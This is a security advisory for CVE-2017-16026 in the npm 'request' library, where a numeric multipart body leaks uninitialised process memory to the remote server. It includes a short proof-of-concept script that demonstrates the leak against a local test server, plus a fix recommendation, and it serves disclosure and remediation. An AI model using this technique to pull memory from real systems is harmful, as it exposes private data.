GHSA-7xfp-9c55-5vqj

Remote Memory Exposure in request

At a glance

Published
Updated
CVE
CVE-2017-16026
CVSS_V3
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body. ## Proof of Concept ```js var request = require('request'); var http = require('http'); var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000); request({ method: "POST", uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){}); ``` ## Recommendation Update to version 2.68.0 or later

Affected packages

PackageVersions
npm · requestintroduced 2.49.0, fixed 2.68.0
npm · requestintroduced 2.2.6, fixed 2.68.0

References

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database